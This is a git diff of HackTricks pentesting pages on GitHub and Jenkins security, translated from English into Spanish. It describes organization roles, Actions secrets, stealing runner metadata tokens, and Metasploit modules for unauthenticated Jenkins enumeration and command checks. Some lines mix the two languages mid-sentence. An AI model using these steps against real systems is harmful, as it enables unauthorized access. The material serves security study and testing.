[https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -And the latest one use a short sha-1 that is bruteforceable. +Y el último utiliza un sha-1 corto que es susceptible a fuerza bruta. -## References +## Referencias - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index ae1365a0f..128cdda88 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,248 +1,242 @@ -# Basic Github Information +# Información Básica de Github {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Estructura Básica -The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. +La estructura básica del entorno de github de una **empresa** grande es poseer una **empresa** que posee **varias organizaciones** y cada una de ellas puede contener **varios repositorios** y **varios equipos**. Las empresas más pequeñas pueden **poseer solo una organización y ninguna empresa**. -From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. +Desde el punto de vista de un usuario, un **usuario** puede ser **miembro** de **diferentes empresas y organizaciones**. Dentro de ellas, el usuario puede tener **diferentes roles de empresa, organización y repositorio**. -Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. +Además, un usuario puede ser **parte de diferentes equipos** con diferentes roles de empresa, organización o repositorio. -And finally **repositories may have special protection mechanisms**. +Y finalmente, **los repositorios pueden tener mecanismos de protección especiales**. -## Privileges +## Privilegios -### Enterprise Roles +### Roles de Empresa -- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository -- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. +- **Propietario de la empresa**: Las personas con este rol pueden **gestionar administradores, gestionar organizaciones dentro de la empresa, gestionar configuraciones de la empresa, hacer cumplir políticas en las organizaciones**. Sin embargo, **no pueden acceder a la configuración o contenido de la organización** a menos que se les designe como propietario de la organización o se les otorgue acceso directo a un repositorio de la organización. +- **Miembros de la empresa**: Los miembros de las organizaciones propiedad de tu empresa también son **automáticamente miembros de la empresa**. -### Organization Roles +### Roles de Organización -In an organisation users can have different roles: +En una organización, los usuarios pueden tener diferentes roles: -- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. -- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. -- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. -- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. - - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. -- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. -- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. +- **Propietarios de la organización**: Los propietarios de la organización tienen **acceso administrativo completo a tu organización**. Este rol debe ser limitado, pero no a menos de dos personas, en tu organización. +- **Miembros de la organización**: El rol **predeterminado**, no administrativo para **las personas en una organización** es el miembro de la organización. Por defecto, los miembros de la organización **tienen una serie de permisos**. +- **Gerentes de facturación**: Los gerentes de facturación son usuarios que pueden **gestionar la configuración de facturación de tu organización**, como la información de pago. +- **Gerentes de Seguridad**: Es un rol que los propietarios de la organización pueden asignar a cualquier equipo en una organización. Cuando se aplica, otorga a cada miembro del equipo permisos para **gestionar alertas de seguridad y configuraciones en toda tu organización, así como permisos de lectura para todos los repositorios** en la organización. +- Si tu organización tiene un equipo de seguridad, puedes usar el rol de gerente de seguridad para dar a los miembros del equipo el acceso mínimo que necesitan a la organización. +- **Gerentes de Aplicaciones de Github**: Para permitir que usuarios adicionales **gestione las Aplicaciones de GitHub propiedad de una organización**, un propietario puede otorgarles permisos de gerente de Aplicaciones de GitHub. +- **Colaboradores externos**: Un colaborador externo es una persona que tiene **acceso a uno o más repositorios de la organización pero no es explícitamente un miembro** de la organización. -You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Puedes **comparar los permisos** de estos roles en esta tabla: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### Privilegios de los Miembros -In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**. +En _https://github.com/organizations/\/settings/member_privileges_ puedes ver los **permisos que los usuarios tendrán solo por ser parte de la organización**. -The settings here configured will indicate the following permissions of members of the organisation: +La configuración aquí configurada indicará los siguientes permisos de los miembros de la organización: -- Be admin, writer, reader or no permission over all the organisation repos. -- If members can create private, internal or public repositories. -- If forking of repositories is possible -- If it's possible to invite outside collaborators -- If public or private sites can be published -- The permissions admins has over the repositories -- If members can create new teams +- Ser administrador, escritor, lector o sin permiso sobre todos los repositorios de la organización. +- Si los miembros pueden crear repositorios privados, internos o públicos. +- Si es posible bifurcar repositorios. +- Si es posible invitar a colaboradores externos. +- Si se pueden publicar sitios públicos o privados. +- Los permisos que tienen los administradores sobre los repositorios. +- Si los miembros pueden crear nuevos equipos. -### Repository Roles +### Roles de Repositorio -By default repository roles are created: +Por defecto, se crean roles de repositorio: -- **Read**: Recommended for **non-code contributors** who want to view or discuss your project -- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access -- **Write**: Recommended for contributors who **actively push to your project** -- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions -- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository +- **Lectura**: Recomendado para **contribuidores no relacionados con el código** que desean ver o discutir tu proyecto. +- **Triage**: Recomendado para **contribuidores que necesitan gestionar proactivamente problemas y solicitudes de extracción** sin acceso de escritura. +- **Escritura**: Recomendado para contribuyentes que **empujan activamente a tu proyecto**. +- **Mantenimiento**: Recomendado para **gerentes de proyecto que necesitan gestionar el repositorio** sin acceso a acciones sensibles o destructivas. +- **Administrador**: Recomendado para personas que necesitan **acceso completo al proyecto**, incluidas acciones sensibles y destructivas como gestionar la seguridad o eliminar un repositorio. -You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Puedes **comparar los permisos** de cada rol en esta tabla [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +También puedes **crear tus propios roles** en _https://github.com/organizations/\/settings/roles_ -### Teams +### Equipos -You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. +Puedes **listar los equipos creados en una organización** en _https://github.com/orgs/\/teams_. Ten en cuenta que para ver los equipos que son hijos de otros equipos necesitas acceder a cada equipo padre. -### Users +### Usuarios -The users of an organization can be **listed** in _https://github.com/orgs/\/people._ +Los usuarios de una organización pueden ser **listados** en _https://github.com/orgs/\/people._ -In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. +En la información de cada usuario puedes ver los **equipos de los que el usuario es miembro**, y los **repositorios a los que el usuario tiene acceso**. -## Github Authentication +## Autenticación de Github -Github offers different ways to authenticate to your account and perform actions on your behalf. +Github ofrece diferentes formas de autenticarte en tu cuenta y realizar acciones en tu nombre. -### Web Access +### Acceso Web -Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). +Accediendo a **github.com** puedes iniciar sesión usando tu **nombre de usuario y contraseña** (y un **2FA potencialmente**). -### **SSH Keys** +### **Claves SSH** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) +Puedes configurar tu cuenta con una o varias claves públicas que permiten que la **clave privada relacionada realice acciones en tu nombre.** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG Keys** +#### **Claves GPG** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +No **puedes suplantar al usuario con estas claves**, pero si no las usas, podría ser posible que **se te descubra por enviar commits sin una firma**. Aprende más sobre [modo vigilante aquí](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Personal Access Tokens** +### **Tokens de Acceso Personal** -You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Puedes generar un token de acceso personal para **dar acceso a una aplicación a tu cuenta**. Al crear un token de acceso personal, el **usuario** necesita **especificar** los **permisos** que **tendrá el token**. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth Applications +### Aplicaciones Oauth -Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. +Las aplicaciones Oauth pueden pedirte permisos **para acceder a parte de tu información de github o para suplantarte** para realizar algunas acciones. Un ejemplo común de esta funcionalidad es el **botón de inicio de sesión con github** que podrías encontrar en algunas plataformas. -- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) -- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) -- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_ +- Puedes **crear** tus propias **aplicaciones Oauth** en [https://github.com/settings/developers](https://github.com/settings/developers) +- Puedes ver todas las **aplicaciones Oauth que tienen acceso a tu cuenta** en [https://github.com/settings/applications](https://github.com/settings/applications) +- Puedes ver los **alcances que las Aplicaciones Oauth pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Puedes ver el acceso de terceros de aplicaciones en una **organización** en _https://github.com/organizations/\/settings/oauth_application_policy_ -Some **security recommendations**: +Algunas **recomendaciones de seguridad**: -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- Una **Aplicación OAuth** siempre debe **actuar como el usuario autenticado de GitHub en toda la plataforma** (por ejemplo, al proporcionar notificaciones al usuario) y con acceso solo a los alcances especificados. +- Una Aplicación OAuth puede ser utilizada como un proveedor de identidad al habilitar un "Inicio de sesión con GitHub" para el usuario autenticado. +- **No** construyas una **Aplicación OAuth** si deseas que tu aplicación actúe sobre un **único repositorio**. Con el alcance `repo`, las Aplicaciones OAuth pueden **actuar sobre \_todos**\_\*\* los repositorios del usuario autenticado\*\*. +- **No** construyas una Aplicación OAuth para actuar como una aplicación para tu **equipo o empresa**. Las Aplicaciones OAuth se autentican como un **único usuario**, por lo que si una persona crea una Aplicación OAuth para que la use una empresa y luego deja la empresa, nadie más tendrá acceso a ella. +- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Github Applications +### Aplicaciones de Github -Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. +Las aplicaciones de Github pueden pedir permisos para **acceder a tu información de github o suplantarte** para realizar acciones específicas sobre recursos específicos. En las Aplicaciones de Github, necesitas especificar los repositorios a los que la aplicación tendrá acceso. -- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. -- The GitHub App should **connect to a personal account or an organisation**. -- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) -- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them -- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_ +- Para instalar una Aplicación de GitHub, debes ser un **propietario de la organización o tener permisos de administrador** en un repositorio. +- La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**. +- Puedes crear tu propia aplicación de Github en [https://github.com/settings/apps](https://github.com/settings/apps) +- Puedes ver todas las **aplicaciones de Github que tienen acceso a tu cuenta** en [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Estos son los **Puntos de API para Aplicaciones de Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la Aplicación, podrá acceder a algunos de ellos. +- Puedes ver las aplicaciones instaladas en una **organización** en _https://github.com/organizations/\/settings/installations_ -Some security recommendations: +Algunas recomendaciones de seguridad: -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- Una Aplicación de GitHub debe **realizar acciones de manera independiente de un usuario** (a menos que la aplicación esté utilizando un token [de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener los tokens de acceso de usuario a servidor más seguros, puedes usar tokens de acceso que expiren después de 8 horas, y un token de actualización que se puede intercambiar por un nuevo token de acceso. Para más información, consulta "[Actualizando tokens de acceso de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Asegúrate de que la Aplicación de GitHub se integre con **repositorios específicos**. +- La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**. +- No esperes que la Aplicación de GitHub sepa y haga todo lo que un usuario puede. +- **No uses una Aplicación de GitHub si solo necesitas un servicio de "Inicio de sesión con GitHub"**. Pero una Aplicación de GitHub puede usar un [flujo de identificación de usuario](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los usuarios _y_ hacer otras cosas. +- No construyas una Aplicación de GitHub si _solo_ deseas actuar como un usuario de GitHub y hacer todo lo que ese usuario puede hacer. +- Si estás utilizando tu aplicación con GitHub Actions y deseas modificar archivos de flujo de trabajo, debes autenticarte en nombre del usuario con un token OAuth que incluya el alcance `workflow`. El usuario debe tener permisos de administrador o escritura en el repositorio que contiene el archivo de flujo de trabajo. Para más información, consulta "[Entendiendo los alcances para aplicaciones OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. +Esto **no es una forma de autenticarte en github**, pero una **acción** de Github maliciosa podría obtener **acceso no autorizado a github** y **dependiendo** de los **privilegios** otorgados a la Acción, se podrían realizar **diferentes ataques**. Consulta a continuación para más información. -## Git Actions +## Acciones de Git -Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). +Las acciones de Git permiten automatizar la **ejecución de código cuando ocurre un evento**. Generalmente, el código ejecutado está **relacionado de alguna manera con el código del repositorio** (quizás construir un contenedor docker o verificar que la PR no contenga secretos). -### Configuration +### Configuración -In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. +En _https://github.com/organizations/\/settings/actions_ es posible verificar la **configuración de las acciones de github** para la organización. -It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. +Es posible deshabilitar el uso de acciones de github por completo, **permitir todas las acciones de github**, o solo permitir ciertas acciones. -It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run. +También es posible configurar **quién necesita aprobación para ejecutar una Acción de Github** y los **permisos del GITHUB_TOKEN** de una Acción de Github cuando se ejecuta. -### Git Secrets +### Secretos de Git -Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. - -These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: +Las Acciones de Github generalmente necesitan algún tipo de secretos para interactuar con github o aplicaciones de terceros. Para **evitar ponerlos en texto claro** en el repositorio, github permite ponerlos como **Secretos**. +Estos secretos pueden configurarse **para el repositorio o para toda la organización**. Luego, para que la **Acción pueda acceder al secreto**, necesitas declararlo así: ```yaml steps: - - name: Hello world action - with: # Set the secret as an input - super_secret:${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret:${{ secrets.SuperSecret }} +- name: Hello world action +with: # Set the secret as an input +super_secret:${{ secrets.SuperSecret }} +env: # Or as an environment variable +super_secret:${{ secrets.SuperSecret }} ``` - -#### Example using Bash - +#### Ejemplo usando Bash ```yaml steps: - - shell: bash - env: SUPER_SECRET:${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" +- shell: bash +env: SUPER_SECRET:${{ secrets.SuperSecret }} +run: | +example-command "$SUPER_SECRET" ``` - > [!WARNING] -> Secrets **can only be accessed from the Github Actions** that have them declared. +> Los secretos **solo pueden ser accedidos desde las Github Actions** que los tienen declarados. -> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. +> Una vez configurados en el repositorio o en las organizaciones, **los usuarios de github no podrán acceder a ellos nuevamente**, solo podrán **cambiarlos**. -Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). +Por lo tanto, la **única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action). -### Git Environments - -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: +### Entornos de Git +Github permite crear **entornos** donde puedes guardar **secretos**. Luego, puedes dar acceso a la acción de github a los secretos dentro del entorno con algo como: ```yaml jobs: - deployment: - runs-on: ubuntu-latest - environment: env_name +deployment: +runs-on: ubuntu-latest +environment: env_name ``` - -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +You can configure an environment to be **accedido** by **todas las ramas** (default), **solo ramas protegidas** or **especificar** which branches can access it.\ +It can also set a **número de revisiones requeridas** before **ejecutar** an **acción** using an **entorno** or **esperar** some **tiempo** before allowing deployments to proceed. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +A Github Action can be **ejecutado dentro del entorno de github** or can be executed in a **infraestructura de terceros** configured by the user. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Several organizations will allow to run Github Actions in a **infraestructura de terceros** as it use to be **más barato**. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +You can **listar los runners autoalojados** of an organization in _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +The way to find which **Github Actions are being executed in infraestructura no github** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +It's **no posible ejecutar una Github Action de una organización dentro de una caja autoalojada** of a different organization because **se genera un token único para el Runner** when configuring it to know where the runner belongs. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +If the custom **Github Runner is configured in una máquina dentro de AWS o GCP** for example, the Action **podría tener acceso al endpoint de metadatos** and **robar el token de la cuenta de servicio** the machine is running with. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +If all actions (or a malicious action) are allowed a user could use a **Github action** that is **maliciosa** and will **comprometer** the **contenedor** where it's being executed. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> A **malicious Github Action** run could be **abusada** by the attacker to: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Robar todos los secretos** the Action has access to +> - **Moverse lateralmente** if the Action is executed inside a **infraestructura de terceros** where the SA token used to run the machine can be accessed (probably via the metadata service) +> - **Abusar del token** used by the **workflow** to **robar el código del repo** where the Action is executed or **incluso modificarlo**. ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Branch protections are designed to **no dar control completo de un repositorio** to the users. The goal is to **poner varios métodos de protección antes de poder escribir código dentro de alguna rama**. The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> It's **no posible establecer una protección de rama a nivel de organización**. So all of them must be declared on each repo. Different protections can be applied to a branch (like to master): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. - - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- You can **requerir un PR antes de fusionar** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: +- **Requerir un número de aprobaciones**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. +- **Desestimar aprobaciones cuando se envían nuevos commits**. If not, a user may approve legit code and then the user could add malicious code and merge it. +- **Requerir revisiones de los Propietarios de Código**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) +- **Restringir quién puede desestimar revisiones de pull request.** You can specify people or teams allowed to dismiss pull request reviews. +- **Permitir actores especificados para eludir los requisitos de pull request**. These users will be able to bypass previous restrictions. +- **Requerir que las verificaciones de estado pasen antes de fusionar.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). +- **Requerir resolución de conversación antes de fusionar**. All comments on the code needs to be resolved before the PR can be merged. +- **Requerir commits firmados**. The commits need to be signed. +- **Requerir historia lineal.** Prevent merge commits from being pushed to matching branches. +- **Incluir administradores**. If this isn't set, admins can bypass the restrictions. +- **Restringir quién puede enviar a ramas coincidentes**. Restrict who can send a PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> As you can see, even if you managed to obtain some credentials of a user, **los repos pueden estar protegidos evitando que puedas enviar código a master** for example to compromise the CI/CD pipeline. ## References @@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 4dfba3ff3..7203cb9e0 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -2,311 +2,291 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. +Jenkins es una herramienta que ofrece un método sencillo para establecer un **entorno de integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Si bien Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir fácilmente de forma manual. {{#ref}} basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration - -In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: +## Enumeración No Autenticada +Para buscar páginas interesantes de Jenkins sin autenticación como (_/people_ o _/asynchPeople_, esto lista los usuarios actuales) puedes usar: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` - -Check if you can execute commands without needing authentication: - +Verifica si puedes ejecutar comandos sin necesidad de autenticación: ``` msf> use auxiliary/scanner/http/jenkins_command ``` +Sin credenciales, puedes mirar dentro de la ruta _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ para **nombres de usuario**. -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. - -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +Es posible que puedas obtener la versión de Jenkins desde la ruta _**/oops**_ o _**/error**_. ![](<../../images/image (146).png>) -### Known Vulnerabilities +### Vulnerabilidades Conocidas {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## Inicio de Sesión -In the basic information you can check **all the ways to login inside Jenkins**: +En la información básica puedes verificar **todas las formas de iniciar sesión en Jenkins**: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### Registro -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ella. Así de simple.** -### **SSO Login** +### **Inicio de Sesión SSO** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Además, si la **funcionalidad**/**plugins** de **SSO** están presentes, entonces deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (es decir, una **cuenta de prueba de Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). -### Bruteforce - -**Jenkins** lacks **password policy** and **username brute-force 